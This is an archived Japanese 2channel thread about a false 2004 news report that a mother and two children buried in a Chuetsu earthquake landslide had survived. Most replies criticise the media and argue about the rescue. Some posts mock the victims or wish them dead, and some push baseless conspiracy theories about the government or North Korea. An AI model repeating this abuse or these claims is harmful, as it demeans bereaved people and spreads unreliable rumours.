【マスコミ】母子発見めぐり情報混乱　一時「３人生存」の誤報

新潟県中越地震で土砂崩れに巻き込まれた皆川貴子さん（３９）ら母子３人の発見をめぐり２７日、
現地の対策本部の情報が混乱。共同通信を含め複数の報道機関が一時、「３人の生存を確認」
などと事実と異なる内容を報じ、その後、報道を訂正した。

長岡市の災害対策本部に同日午後、「レスキュー隊が３人の生存を確認した」との救出現場
からの情報がもたらされたためで、午後２時半すぎから「女性の声を確認」「子供２人は生存」
「３人の心臓音を確認」などの情報が錯綜（さくそう）。
各社は市の対策本部の説明などを基に「３人生存」などと報道、テレビは現場中継の途中で
テロップで速報した。

皆川さんの長男優太ちゃん（２つ）は無事救出されたが、その後、２人の生存確認は誤りと判明。
県や市など関係機関が午後３時半ごろになって「２人の生存は確認されていない」と否定した。

[共同通信]（22:21）
http://flash24.kyodo.co.jp/?MID=RANDOM&PG=STORY&NGID=soci&NWID=2004102701008256

ほい２

2!

2?

ﾏｼｭｺﾞﾐ

希望的観測

2

http://black.jpg-gif.net/bbsx/4/img/120174.jpg
:.,' . : : ; .::i'ﾒ､,_　　i.::l　';:.: l '､:.:::! l::!　: :'､:i'､: : !, : : : : : :l:.'､: :|
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:!!ﾟ:i.'､o:'、　ﾞ､ ﾞﾞ''" ﾉ　　　　　　　　iﾞ　li;_;ノ　'.､'､ :'i:::. i. !! : : !:
.' :,'. :ﾞ>;::'､⊂‐ﾆ;;'´　　　　　　　 　 '､ ;{|l l!: ;ﾉ　! : !::i. : : : : i :　
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ご冥福を、心よりお祈り申し上げます。

まじかよ！！！！！！！

新潟で地震あったことを、今知った・・

ずっと、２ちゃんねるばっかり見てるとダメだな・・

生存ってことにしておいた方が視聴率いいだろうからな。

ってなことまで、災害報道を見てると邪推してしまう。

安藤は嬉しそうに連呼してたぞ
死亡確認のときはもっと嬉しそうに連呼してたけど

ウジ虫ババァが

マスコミになんか情報流すからだよ
あんな奴ら追い出してから救助しろ

香田氏根よ。

>>10
まじかよ！！！！！！！

でも、香田さんは、もう絶望ですからっ、ざんねんっ！

願望と事実が入り交じったんかね。

まあ、いいじゃん
みんなそう望んでいたんだから

こんな切羽詰った現場では情報錯綜するのも仕方ないんじゃない
逆だったら良かったけどね…「駄目かも→生存！」

御巣鷹山の時もそうだっただろう。
日航機は無事で、乗客乗員も全員無事だっていう誤報が流れただろう。
こういう時は、情報が錯綜する。
これを、きちんと見極めて報道するのが、マスコミの使命。

共同通信か＜1

共同通信もよく誤報を流すが
　一言、言いたかった。

この誤報がどれほど家族を傷つけてるのかわかってるのかね
生死の問題はもっとデリケートに扱えボケ！

取材に行ったは良いが遭難して自衛隊の救助ヘリで助けられたのに
手のひら返してイラク派兵批判しちゃったりする輩だからな、基本的に。

マスコミさんへ





　　　 　　　　　(⌒⌒)
　　　　∧∧　（　ﾌﾞｯ　）
　　　（・ω･` ) ﾉノ〜′
　　　　 （⊃⌒*⌒⊂)
　　 　　　/__ﾉ''''ヽ__）

http://saitama24.finito.fc2.com/

ぬか喜び、親父がかわいそう

>>10
２chでわかると思うが

御冥福をお祈りします

>>10は超ひきこもり

ふざけるな。親や他の被災者をぬか喜びさせやがって！
絶望的　→　一人生存！　なら大喜びできたのに、
３人生存　→　実は死んでいました
こんなので喜べるか！　ボケ！！

希望的観測で報道するのはいつもの事だろ。


ところでこの件について大阪駅で号外配ってたﾔｼﾗ…

自分で見てたわけじゃないけど、ニュース見てた人によると
この家のご主人が現場まで来て「これは救出が容易ではない」って
悟ってしまったとかなんとか。。。

>>10
おまいどの板にいたらそうなるんだよ

速報に誤報の可能性は免れ得ないのは事実だし、そこまであげつらって報道は叩けない。
ただ、情報が確定するまでは「〜との有力な情報アリ」とか、きちんと情報が未確定な事を明示するように
ガイドラインを作るべきだと思うんだけどね。

>>20
＞こういう時は、情報が錯綜する。
＞これを、きちんと見極めて報道するのが、マスコミの使命。

マスゴミの皆さんは、視聴率さえとれれば事実なんて関係ないからねえ　┐（￣〜￣）┌

J( 'ｰ`)し　ゆうたへげんきですか。いまお花畑にいます

(´・д・)　 ﾏﾏ、ﾏﾏどこ？

J( 'ｰ`)し　ごめんね。ママもういっしょにいられなくなっちゃったの、ごめんね

(´；д；)　 ﾏﾏ･･･ﾏﾏどこいくの？

J( 'ｰ`:;.:... パパと仲良くね。大きくなってね。ママはいつもゆうたを見守っています。

(´・д⊂ヾ ﾏﾏ･･･

旦那さんの気持ちを思うと...

頼むからマスコミは本当に反省してほしい

NHKも最初二人目を救出したとか言ってたし。
そんな場面映ってなかったから、救出した子は二人目だったんだなと普通に思ってた。

これがプロの仕事か

ダンナと１４:５０くらいまでワイドショー見てて、
「３人とも生きてるって！すごい！良かったねー！！！」
って２人でちょっと泣いてたのに…

>>27
>>10はSM板以外にはめったに行かないのだろう。

ま た マ ス ゴ ミ か ！

TBSのニュース速報で3人生存と出たのに…

マスゴミ邪魔！まじで邪魔！！！！！迷惑！！

このバカの命と引き換えてほしかった

http://www.zakzak.co.jp/top/2004_10/t2004102730.html
「いや大丈夫ですよ。とりあえず、見てみたいんで」。
イラクで武装勢力に拉致された無職、香田証生（しょうせい）さん（２４）は、
こう言い残しイラクに向かった。

結局貴重なマンコはどうなったんだ？

マス・ゴミニュケーション

マスゴミが数字欲しくて、裏取らず速報。良くあること。
多分、デマでもかまわねえって思って報道したんだろ、

責任ないから楽でいいねえ。

今帰ってきたとこなんだけど

結局残された二人は亡くなったってこと？

>>45
バカは放置

今回に限ってはこの格言をマスコミさんも実行してますね。

皆さん、ちょっと聞いて考えてみてくださいませんか。さっきＮＨＫを見ていたのですが
例のこの家族が見舞われた土砂崩れの現場を目撃したという人間のインタビューをやって
いたのです。この目撃者は、二台ほどの車が押し流されたと言っていました。
僕は疑問に思いました。この人はすぐ警察とかに通報したのだろうか？と。
目撃者が通報していれば、

　　　　発見まで４日もかからなかったんじゃないのか？！

みなさん、どう思います？？？

イラク人質解放のときも似たようなポカがあったぞ。

これは当局から逐次発表があるわけじゃないから、情報錯綜しても
しょうがないし、さすがにマスコミが反省云々じゃないだろ。

それよかなんでレスキュー隊があんなマターーーリなんだ
昨日の時点で見つかってたんだろ
こりゃ人災じゃないの

すんません、昼間NHKの実況をずっと見ていたんだけど
ゆうたちゃんが救出されて
担架？に乗せられて行った直後
なんかゆうたちゃんより小さい人？が
毛布に包まれて抱きかかえられていたけど
あれはなんですか？
ＮＨＫでは二人目の子供発見！
みたいに言っていたけど。
貴子さんはそれよりずっと遅い時間だから
違うんだけどさ｡
わかる人いませんか？
しばらくしてＴＶみたらまだもう一人の子は
発見していないと言っていて｡

若い馬鹿ＴＶ記者「・・・ってる？　・・・なの？」←タメ口
老壮の被災者「・・・です。・・・ます。」←敬語

腐れマスコミはまともな社員教育もできねーのか！　
まったく腐りきった業界だわ

スレタイ見て、何の事かと思った。
地震で生き埋めになったのか。酷かったのか？

職場とか、帰宅途中にニュースで小耳に挟んで喜んで
家に帰って_|￣|○　って人多そうね。自分もそうだ。

香田は絶対に年金とか払ってないだろうな。
イラク３馬鹿トリオのうち、今井は未成年だから除くとして、高遠、郡山も払ってないと思う。
ついでに高遠の弟妹も年金なんか払ってないだろうな。

このお母さんは、絶対にきちんと払っていたと思う。

世の中、なんて不公平なんだろう。

>>51
地震直後で色々と情報錯綜していたから、速攻で通報した所で優先的に来るとは思えないな。
第一、使えない無能警察だって日頃に輪を掛けて大パニックだったろうし。

>1
３人生存情報が出た途端に
それまでの放送を打ち切って中継し始めたのって
フジだっけ？

小泉の初訪朝のときと同じだな。

関係者を喜ばしておいて梯子を外す報道は。

　　　_, ,_　　 ∩))
　（　‘д‘） 彡　ﾊﾟﾝﾊﾟﾝﾊﾟﾝﾊﾟﾝﾊﾟﾝ！
　 ((⊂彡☆∩　 _, ,_ 　_, ,_
　　　⊂(⌒⌒<<Д´≡｀Д>>
　　　　　　 ｀ヽ_つ ⊂ノ 　　　　お仕置きしておきますね。

>>14

をまいは最低野郎．．チャンプケッテーイ！

>>51
釣りか？
通報してたとしても、余震で二次災害の危険があるかもしれない。
どこに被害者が埋まってるかわからないからガシガシ重機も使えない。
そんな中で捜索してて簡単に見つけられるわけなかろう。

優太一人生きてただけでも十分奇跡じゃねえか
三人無事なんてそんな世の中甘くねーよ！！！！

お母さんの方は事故直後に死んでたらしい。泥とかで窒息死だと。
俺もよかったなーたまには奇跡も起こるんだなと思ってたのに・・orz

誤報もある程度はしょうがないとは思うけどさ、
これってそこまでリスクしょって速報いれる話題だったのかな？

母親については救出される２時間ほど前には、意識があったそうだ。
「何とか装置」では３人分の生命が確認されていた。

母親が救出されたとき、息絶えていたのはショックだった・・・
たった２時間の差で（涙

三人が見付かったそうだ
一人は生きてるらしいぞ
他の人も生きてたらいいなぁ
生きてんじゃね
生きてるよなぁ
生きてるらしいよ
生存確認しました
やったー生きてたよ！

こんな感じか。

>>59
なんすか？　その妄想。
事実は小説よりは奇なり、と申すが如く、逆のように思うがの。

マスコミも語法には気をつけなければならんが、
こればっかりはレスキュー隊員も正確に状況を判断してくれんと。
　

>>10
俺なんか、いつの間にか平成になっていたなんて初めて知った。

>>51
そんなおまえ…電話が使えない状態でどうやって通報するんだよ。避難所に警察官がいる訳でもないし。

>>51
車が生き埋めになったという話は土曜日にすでに報道されていた記憶がある。
トラックの運転手は救助されたという話は記憶にあるが、生き埋めになった人が
救出されたという話は記憶にない。

>>66
ほんのたまには世の中が甘くなったっていいだろ？
そうは思わないか？

死ぬ奴が悪い。前世で何か変なことをしたから、こういう時に
生き埋めになるんだ。

北の拉致問題の時も「全員帰国！」って情報流して喜ばせてから
後で「ほとんど死亡」って家族を奈落の底に突き落としてたな
マスゴミってなに考えてんだろう

>>51
したんじゃない？
それにあれだけ各地で被害が出ていれば
少々遅くなることもありうるのでわ？

お母さん可哀想だったね。合掌。

>>69
何とか装置がどれだけ正しいのかと。
結果は即死だった。

ﾏﾀ−リって、、、あの状況だったら急いては事を為損じるだろ。
山が崩落して２次災害、３次災害だ

>>51はテレビばかり見すぎ。テレビで受け取った情報を自分のごく身の回りに
置き換えてしか、情報を解釈できないのかね？

>>65
釣りじゃありませんって。もうちょっと冷静に考えてくださいよ。
捜索に四日もかかっているんですよ。
目撃者が証言すれば、範囲は特定できますって。
第一に捜索されてた範囲は同窓会会場から自宅なんですから。

「不明の男児４日ぶりに救出・母親は死亡」スレの935の厨房へ

おう、行ってやるよ
漏れは昔、こういう仕事やってたんだよ
当時は命懸けてやってた
だから今回みたいにトロトロやったことなんかねえよ
おまいみたいなションベン厨房じゃねえんだよ
バクダン抱えてイラクに突っ込んで氏ねやクソカス

>>77
前世だとよｗ
ﾊﾞｶｼﾞｬﾈｰﾉ

順番的に悪くなっているが
一人の生存もかなりの功績だ
ＯＸＸ
と
ＸＸＯでは印象が違うな

>>76
まあ南野が「のうの」うと生きているだけでも、甘い社会だとは思うけどな。

素人は机上でよく語るよなぁ

３人が生きてたら、感動的になって視聴率が上がるから。
ただそれだけのこと。
マスコミの報道なんか、あてにならんという事ですな。

37 名前:風の谷の名無しさん＠実況は実況板で メール:sage 投稿日:04/10/27 19:38:12 ID:8b+wAcCv
>>36
うっさいヴォケが、アニメはな、世界が認める芸術なんだよ!!
日本が誇る輸出産業なんだ、分かってるのか?低脳が。
デス種の面白さも分からず、たかが新潟の田舎者が死んだ程度で
ガタガタ抜かしやがって、馬鹿ジャネエノ? お前この板来なくて良いよ。
134：朝まで名無しさん：04/10/27 17:13:49 ID:99IIVV1s
SEEDを潰した罪は重い

母子三人もろとも肉煎餅にされて当然だが
ガキ1匹は助かったようだな。残念極まりない。

今後は田舎で地震がおきた程度でアニメを止めるなってこった、バーカ

440 名前： 大空寺あゆ親衛隊 HELVA ◆THYOQYTAXA 投稿日： 04/10/27 16:53:47 ID:/jf2Pjoo
ガンダムSEEDデスティニー中止にした報いを受けろ
さっさと死ね
こいつら何とかなりませんかねぇ…

生息地／機動戦士ガンダムSEED DESTINY
http://ex5.2ch.net/test/read.cgi/shar/1098798395/l50
http://ex5.2ch.net/test/read.cgi/anime/1098868154/l50

>>48
同感です、視聴率取りのデマ合戦

>>10
漏れなんかなんかあんだけいた恐竜がいつのまにか
全部いなくなってたのに今日きづいたぞ

>>77
お前は馬鹿だな
死んだ事もないのに何故、死＝悪　ってなるんだ？
もしかしたら、あっちの世界は本当に極楽浄土で
むしろ生かされている俺たちの方が“罰”を受けてるかも知れねーぞ

>>69
医者の会見で
「死後かなりの時間が経過」「ほぼ即死の状態」といっていた。
少し前まで生きていたというのも誤報

こうゆうことをやっても態度を改めず同じ事をなんどもしでかすから
マスコミは徐々に信用を失ってきた。

そして個人情報保護法。

自業自得がこれほど似合うケースはない。

>>51
国家が国民を守ってくれるなんて幻想なんだよ！

マスゴミってほんとに人ごとだよね。
見てるとなんか対岸の火事みたいな感じで
レポートしてる・・・・

>>84
該当スレ見たが、お前が悪い。

スポンサーはトヨタか

>>83
地震であちこち大騒ぎで警察も手が回らなかったんだろ。お気の毒だが。

読売新聞
http://www.yomiuri.co.jp/main/news/20041027i213.htm
不可解な香田さん「自分探しの旅」…イラク人質

産経新聞
http://www.sankei.co.jp/news/041027/kok071.htm
２３日にバグダッドで目撃　イラクで拉致の香田さん

当然のように、朝日新聞や毎日新聞ではこういった報道は隠されている
バカを擁護して、自衛隊を撤退させたいだけの左翼マスゴミ

報道協定で人数絞って、出し抜きは自粛して、
その分資源輸送とかに協力するとかしないのか？

>>83
捜索箇所については大体わかるかもしれない。
たとえば、ここの崩落箇所に埋まってるらしいという情報が入ったとする。
しかしながらあの土の量です。人力で捜索するのは相当しんどいよ。
おまけに土じゃなくて岩石。
スコップで土掘ってみ。どのくらい大変かわかるし。
重機でざくざく掘って人引っ掛けたら即アウト。
余震でさらに土砂崩れ。捜索隊生き埋めで二次災害もしゃれにならん。
そういったことを判断しながの捜索は簡単にはいきませんて。

報道が間違いだったのか、レスキューの判断・報告が間違いだったのか。

田舎の地震というけれど東京だったら
絶対放送はないんじゃないの？
そのマンガ

>>59
それこそ根拠のないことを書くなよ。誤報だったらどうすんだ。

これ現場の映像見てると他にもぺしゃんこになってる車あるけど
その車の運転手とかはどうなってんだ？
自力で逃げ出してたのかね？

家族は喜ばされてまた叩き落された感じだろうな。
まぁ、一人は生きていたから最初よりかはいいけどさ

>>104
レスキューが記者会見開いたわけでもないし。

最初に３人とも生きてたという話は本当っぽい
救助中の失敗を隠すための、お上側の情報操作だろう
病院に着いてから母親が氏んだなんて話ができすぎてる

レスキューは、税金で養われているのだから緊急時には身命を投げ打ってでも
任務に当たらなくてはならない義務がある
いつもそうだがここ１０年のこの国の救難体制は最悪且つ最低だ
２次災害が恐かったら何もできない
恐いなら恐いで崩れた土砂全体の超音波探査を事前にするとか、もう少しやるべき
手段があったはずだ

何にせよマスコミの情報管制及び操作をとりあえず成功させたお上は、いつかそれがバれて糾弾
される
っていうかここの香具師ってどうしてこんなに単純なのかね？
今回の事件を、最初から見てれば必ず漏れみたいな疑問が沸いてくるよ
情報操作してるのはお上の方だってね

>98の厨
マッチポンプ乙

母親は声に反応した云々という情報を聞いたのに…。
でもレスキュー隊がついた頃にはすでに亡くなってたんですか？なんで…(´・д⊂ヾ 。。

>>69

『何とか装置』
『何とか装置』
『何とか装置』
『何とか装置』

（　´,_ゝ`）ﾌﾟｯ

>>83
お前さん、大きな河川の川原に降りた事がないだろう。

>>107
そらぺしゃんこやろうな。

情報が錯綜してるにしても、あまりにも事実と違いすぎる情報があるから

・本当は３人とも生きていた
　　→　関係者の責任問題にもなるので誤報という扱いに。

・視聴率を稼ぎたかった
　　→　日頃のTV関係者の態度を見てれば分かるというもの。

・ある情報がクローズアップされるのを避ける目的があった
　　→　イラクの人質とか国会とか。

不謹慎だけど、これくらい考えてしまうな。

母親、即死だったんだってな･･･
声が聞こえたってのは子供の声で

>>104
２ちゃんと同じで尾ヒレが付いたんだろうよw

現場の人は視聴率なんか考えて仕事してないさ
生きててほしいと思ってたんだよ。

マスゴミいいかげんにしる
正直感動でもなんでもない

二重三重の事実確認が報道の基本じゃないのかにゃ

衝突安全性能なんて関係ないだろ

>>110
少しは外に出たほうがいいぞ。
最近はやっと涼しくなって空気もうまいし。

青シート出てきた時点でご遺体運び出しやろ

J( 'ｰ`)し　ゆうたへげんきですか。いまお花畑にいます

(´・д・)　 ﾏﾏ、ﾏﾏどこ？

J( 'ｰ`)し　ごめんね。ママもういっしょにいられなくなっちゃったの、ごめんね

(´；д；)　 ﾏﾏ･･･ﾏﾏどこいくの？

J( 'ｰ`:;.:... パパと仲良くね。大きくなってね。ママはいつもゆうたを見守っています。

(´・д⊂ヾ ﾏﾏ･･･

民放ならとにかく、NHKはかなり慎重に報道するからレスキューから
そういう報告受けてたんじゃないかと思う。

>>82
阿呆か、オマエ、、、、妄想癖もええかげんせえよ。
おれはさっき初めてみたんだよ。まったくおまえら
イチビリ過ぎと違うか？目撃者が通報したなら範囲は特定されるだろうよ。
電話が通じないとか言ってる阿呆は馬鹿か？
ｵﾏｴら震災経験無いんだろう、ふざけんなよ
おれはな、まったく阪神大震災の教訓が生かされていないし
おまえみたいなフヌケ共の危機意識はまったく低すぎるってことが
言いたいだけだ。ちょっと下手にでりゃカス共がほざきやがって
おまえらが生き埋めになれや、ヴォケ！

亡くなったのはしょうがないだろう。不運だと思うしかない。

>>110
＞病院に着いてから母親が氏んだなんて話ができすぎてる
死亡確認は医者がいないとできません。
病院に連れて行かない限り、死んだことにならない

エコノミークラス症候群かな？座っててしかも逆さまだから

>>126
はいはい。地が出ちゃいましたね。またID変わったら来てね。

>>120
誤報恐れずスクープが基本です。

母親としては、なんとしても子供を助けたいと思うはず。
その意味では願いが叶えられたね、お母さん。

>>111
川音が結構五月蝿さそうなので、子供と判別はつきにくい。

やっぱりマスゴミの意図的な誤報だろ。
最初に生存と言っておいた方が
母子の親族の泣き顔を撮影できるから。

>>110
情報操作する目的って何よ。（　´,_ゝ`）ﾌﾟｯ
馬鹿なこと書き込んでる暇があるなら
回線切って死んで詫びて来いﾊﾞｶが

なんか勘違いしてる人間いるが

最初の母親の声と言われたのは助かった長男の声。
レスキュー隊がそれっぽいこと後の会見で言ってたが
子供で声が高かったので女性の声と勘違いされた。

後、母親は病院で死亡が”確認された”だけ。
病院で亡くなったわけではない。
胸部圧迫が死因になってるしほぼ即死で間違いないよ。

つーかあんな災害の後じゃ、電話回線が生き残っていたとしてもパンク状態だろ。
携帯だって電気がなけりゃ基地局は動かんし。

>病院に着いてから母親が氏んだなんて話ができすぎてる
初めて聞いた情報。ソース希望w

>２次災害が恐かったら何もできない
してるじゃん。馬鹿？

こんなキチガイほっとくと何故か、そう信じたい馬鹿が湧いてくるから
釣られることを恐れずに容赦なくつっこんどいたほうがいい。

どうせ視聴率かせぎのためのニュース番組プロデューサーの意図的なものだろ。

母親の体を外に出すときにブルーシートで周囲を覆ったということは、
遺体の状況がかなりヤバかったということだろ。
即死だよ。

もう女の子は、外に出せたのかな。

>>93
深いね

「３人の心音を電磁波を使った探査装置で確認した」って映画じゃ
あるまいし大嘘だろう。今の日本にそんな技術あるはずがない。

２日前、埋まった車あり確認・・・・。
昨日
まあ、だめなんじゃねー。どーせ死んでるよ。
雨だし夜だし安全第一で明日明日。

本日
朝、予震・・・。まあ、飯食って安全第一で
漏れらの様な特殊技能者は危険なことはできません！
午後、おいおい犬吠えてるよ
なんか生きてるくさい
マズー・・・。超マズー。
あ、やべ、途中で新だヤベ・・・。最初から新んでたことするか・・・。
暗くなったんで止めますか・・・。え、だめ？安全第一よ？特殊技能者よ？
死んだら国家損失・・・？マスコミで報道中？
しかたねーなー、残業本年度お初　　　　　　　　　　　　Ｂｙハイパー見殺し隊

結局助けたの一人かよ
レスキューも人殺し隊も役にたたねーなｗ
消防団なんて屑なんだから何人死んでもかまわねーから救助しろよ
やっぱ糞小泉じゃあ駄目だわ
鳩山さんだったら助かったのにね

このバカの命と引き換えてほしかった

http://www.zakzak.co.jp/top/2004_10/t2004102730.html
「いや大丈夫ですよ。とりあえず、見てみたいんで」。
イラクで武装勢力に拉致された無職、香田証生（しょうせい）さん（２４）は、
こう言い残しイラクに向かった。

まあ、レスキューには説明責任があるよ。絶対に。
今日ここまでリスクを背負ってやってるのに、何故、昨日は五時でやめたか？等々
説明すべき事はある。　
母親の声がしたって事に関しても。

>>115
追加
　母親死亡確認の情報遅すぎ
　病院の会見までに時間かかりすぎ
　中継中にアリコのＣＭ

>>110
レスキューにおまえ行けば
母親即死だって報道とっくにあったろう

>>110
「死亡が確認された」の意味わかってる？

母親の腕がハンドルにかかっていて
その腕から医官が脈採ったって言ってたじゃん。
なんで死んだんだ？

女性の声を聞いたとか３人の心音を確認したとか
誤報もいい加減にせよ。

まったくでまかせじゃないか、責任追及するべきだ。
実に腹が立つ、見守っていた家族の気持ちも考えろよ。マスゴミ！

>>143
レスキュー隊なら死んでもいいと思ってる奴が命の事語るなよ

http://www.owari.ac.jp/nagoya/

>>93
いやあもう２度と死にたいとは思わんぞ漏れは

>>126
土砂崩れで山が半分削れてなくなるような状態。
流されて衛星写真からでも地形が変わるような土砂崩れのなかで『はんいがとくていできるだろが』？？？

お前、本当に脳みそ大丈夫か?

読売新聞
http://www.yomiuri.co.jp/main/news/20041027i213.htm
不可解な香田さん「自分探しの旅」…イラク人質

産経新聞
http://www.sankei.co.jp/news/041027/kok071.htm
２３日にバグダッドで目撃　イラクで拉致の香田さん

当然のように、朝日新聞や毎日新聞ではこういった報道は隠されている
バカを擁護して、自衛隊を撤退させたいだけの左翼マスゴミ

安藤優子なんて母親が救出される時、救急車が撤収してしまった！って
嬉しそうに連呼してたし
一緒にいた男も遺体を搬送・・って言って言い直してた

>>110
ちょっと勉強しような、馬鹿

母親が自分の命使って奇跡起こしたんだよ。合掌…

>>143
お前、レスキュー隊が現場に到着した経緯と時刻しらんだろ？
ちゃんと時系列的に記事読んで出直して来い。

死後1週間ってのはどういうことだよ？

即死か、ハンドルで狭いからぶつかったのかね
助手席とか後ろの席は広くてしかも子供だから小さいからか

>>150
その時点で脈はなかった。

それが真実。他は全部誤報。

>>149
　　　　　　　　　　_,ｌ;;;;;;;;;;;;;;;;;;;;;;;;;;;l,,_
　　　　　　　　,.ｒ'´,.　　　 -┐　　　':..,ﾞヽ
　　　　　　 ,r' ,::;:'　　　 ,ノ　ヽ､　　　 ﾞ:::.ヽ
　　　　　 ,.' _.,:;:'＿＿＿ _立_　 ＿＿＿;;ミﾞ、　　　　　　　　　￣ﾉ￣|￣
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　|;:;:;:;＼＼　l::l　　　',　:;.:;::::::::::..::.　 /　　l::l,r'' ／;:;:;|

>母親の腕がハンドルにかかっていて
>その腕から医官が脈採った
思えばこの時点で死亡確認ってことだったんだろな。
その後ブルーシートが出てきたわけで。

どこの局よりも早くスクープスクープスクープ！！！！

だからこういう事になるんだよ。ゴミめ

>>142
救助犬が吼えただけなんだろ。

オイオイまだ三歳の長女をレスキューさん達が
懸命に捜索してる最中だぞ。

>110
＞レスキューは、税金で養われているのだから緊急時には身命を投げ打ってでも
任務に当たらなくてはならない義務がある

税金だから云々ってのは、ほんと発想が幼稚園児ですね。あほか。

なんか机上の空論で語る奴が多いな。
ああいう危険地帯では慎重にやらんといかんだろ。
２次災害が起きてからでは遅いんだが。

>>154
死にたいと思ったことあるの?

>150

手首の脈で生死を確認したとは言ったが
脈があった、生きているとは言っていない

2chでも情報が錯綜しておりますなあ
アホかｵﾏｲﾗ

たしかに・・駅の新聞チラシは「３人生存」とでっかく書いてたぞ　
どこぞのスポ新聞みたいにちいーーちゃく？も無かった。

一人でも生きてたんだから良かったじゃない

昨日は必死に声を上げて助けを求めたのに。
２次災害あるからといって何もせずに帰っていったのに。
極寒の中ずっと救助を信じて待っていたのに。
暖も光も何もしてくれなかったのに。
すでに死んだ今日はこんな夜中でもバリバリ活動中。
それもこんな大人数でわらわらと。
もうゆっくりでいいですよ。レスキュー隊の皆さん。
２次災害起こしますよ。

>>150
脈があるかどうかを”確認”していたわけで。
一部報道、運ばれる前からバイタル駄目と流れてた。

あの地すべりで子供が１週間近く生存してたことの方が
奇跡的だと思うんだが、そうは思わない人もいるのか…

行き過ぎたアンチ公務員ってのは本当に気持ち悪いな

>>152
あまり豚にストレス与えるな。
数が減ったら豚丼も食えなくなるぞ

煽りはかまってちゃんだから。

>>175
誰の立場で考えるかだな

＜前スレより＞
758 ：
「土砂の隙間から車のテールランプが見える。中の人の安否は不明。」
という報道は日曜日からあった。

それがこの車のことかどうかは知らないけど。

812 ：
なんで生きてたんだ？母親は即死だったみたいだぞ？
俺はてっきり車内の食べ物をすべて子に与え、自分は逝った感じだと思ったんだけど。。。
４日なんてぶっちゃけもたねえだろ。２歳児。
-----

ずっとTVを見てたけど、ハンドルのところから出てる手首から脈を取った。
というような事を言ってた。んで安心したんだよ。
だって即死とかなら死後硬直してるでしょ？
レスキューとか政府は責めないから事実を言って欲しい。
絶対即死じゃないよ。お子さんを４日も生かせてたんだし…。
んで>115に同意…

>123
ブルーシートはケガが酷い（血だらけとか）衣類が酷いとか
単にプライバシーの保護だと思ってた。

>>143
ああ、正解に近いが、死体回収特殊技能者でもあるんだよ。
ハイパー見殺し隊。三人助けるまで帰れない。

もし3人とも助かってたら、エスティマはバカ売れだったろうな。
「土砂崩れでも3人の命を救ったエスティマ」
とか言って

なんか釣りの振りしたキチガイがいるな。

っていうか１人生きていただけでも物凄い奇跡だと思うけどな。
もちろん３人生きていてくれたら１番良かったんだけど。

>>156
ウヨク紙のオナニーか？

あさましく情報をあさるだけで、ロクに検証もしないからこうなるんだよ。
大事故・大災害になると目の色変えてはしゃぎまくるアホマスコミは、少しは反省しろ。

>>146
投光機もなく、余震が続き、土砂崩れがいつ起きるかも分からない状況で夜間作業なんぞできるかボケ。
今日だって日中からの作業でも、作業してる人より上で上部から落石の見張りをしてる人が配置されていただろう。

お前はテレビの画面のどこを見てたんだ?　目はちゃんとついてるのか?　
むしろ、お前の目は眺めてるだけで『何も見てないだろ？』

もし3人助かってたら後々アンビリバボーみたいな感動もの特集で
やりそうだと思った

>>176
そうだね、今回母親はほぼ即死。
こんな奇跡の救出騒ぎの影で、まだ見つかってない
他の行方不明者が助けを求めているだろうね。。

>>187
３人生存　の誤報が問題
生きている！！　と思わせておいて死んでたら落胆するだろうが
たとえ一人生きていたとしても

>>187
そうだね。
男の子は車の外にいたらしいね。
ちょうど、タイヤと岩のすきまに立ってたみたい。
奇跡だわな。

↓ネット弁慶うるさい

ネット義経です

まぁ最初に車両発見されたという報道が流れた時
生存の｢せ｣の字も浮かばなかった。
そこで一人救出、母親貴子さんの声も聞こえた？とか聞いた時は
奇跡だ！良かったー！と思ったもんね。
結局、男の子だけなのか．．それでも奇跡なんだろうけど．．

>>190
だから、それを説明する義務があるだろ。

ほんとにお母さんは即死だったんだろうか？
さっきまで生きてたのに救出間近で亡くなったとしたら
なんで昨日のうちに・・・って言われちゃうからとかはない？
だって今日は暗くなってもやってるけど
昨夜はダメで今夜はいいの？雨のせいかなんか？

>>190
どうした、牛乳でも飲んで深呼吸してこいよ

そういえばマスコミ、まただよな･･･。
ジェンキンスの時も先走りすぎたし。

貴子の遺伝子は引き継がれてゆくぞ！ユータによってな！！！

三人生存が誤報だとは考えにくい。思うに、母親は政府に
消されたんじゃないだろうか？
母親は朝鮮総連新潟支部に勤務していたという噂もある。
あるいは、黒幕は北朝鮮かもしれない。

まあでかい岩が運転席と助手席の間に突き刺さってたらしいし、
そんな状態で助かってる訳無いでしょ。
母親は即死だよ。

幾ら丈夫な車だからって、数壱百トンもある岩が落下してきたら
ひとたまりもないのは当たり前の事。
あとは幸運を祈るのみ

どんくせぇレスキュー隊なんかじゃなくて、自衛隊にやってもらえばよかったのに。

>>110
>>レスキューは、税金で養われているのだから緊急時には身命を投げ打ってでも
>>任務に当たらなくてはならない義務がある

税金を払っていればご主人様ですか？
「国」ってものが国民と別に(もっと言えば対立して)存在し、
あなたに奉仕すべき存在と思っていませんか？
あなたも「国」の一部である事を思い出して欲しい。

人間の全ての知識を持っても説明できない、いわゆる人智を超えた現象の中で
、ただの人間が奇跡を起こす場合、やはり何かの代償が必要になるんだろうか。

今はマスコミがおいしいネタだから報道するが、阪神大震災しかり、いつまで
かな？
このネタはマスコミにとっては、たまらなくドラマティックな視聴率ネタだった
ろうね。なんせ、人の不幸をネタに人殺しや、泥棒に食わせてもらってるんだか
ら・・・。なんでか？　あの親子へのマスコミの対応ひとつ取ってみろ、まるで
甘い砂糖に群がるアリか、ウンコにたかるハエと同じだ。容態を見るのは家族で
あって、他人は安否情報だけでいいじゃないか。

うんそれ私も疑問

>>142

電磁波人命探査装置（シリウス）
http://public.sakura-rubber.co.jp/fire/chapter04/4-10-01.htm

>>183
>だって即死とかなら死後硬直してるでしょ？
死後硬直は時間が経つと解けるわけですが。

>>152
レスキューは危険地帯で救助活動をするのが仕事
そのために大金で技能研修を行い無駄飯食わせてる。

ある意味死んでも災害者を救助するのが仕事じゃねーのか？

誤報に躍らされた家族が可哀相

民放は報道止めて娯楽番組だけ作ってろよ

レスキュー隊の怠慢で殺したようなもんだね
のろのろ作業しながら途中で中断してるし
もっと早くやってたら助かったかもしれない

>>190の言っていることは概ね正しいと思うが。
工事現場じゃあるまいし、深夜作業なんて2次災害起こしてくれって
言っているようなもんだと思うが。
全力でレスキューがこの場所だけに当たれるならまだしもだが。

>>207
父親が心配だ。誰か、マスコミとりわけワイドショーレポーターから守ってやってくれ。

>59
なんの根拠もなく人の命に序列をつけるとは
ずいぶんえらい方ですね。

万が一事実でも
年金を払っていたからより生きる価値のある命だ
と言うのでしょうか
恐ろしい

午後までレスキューを止めていたのは国土交通省の役人らしい。

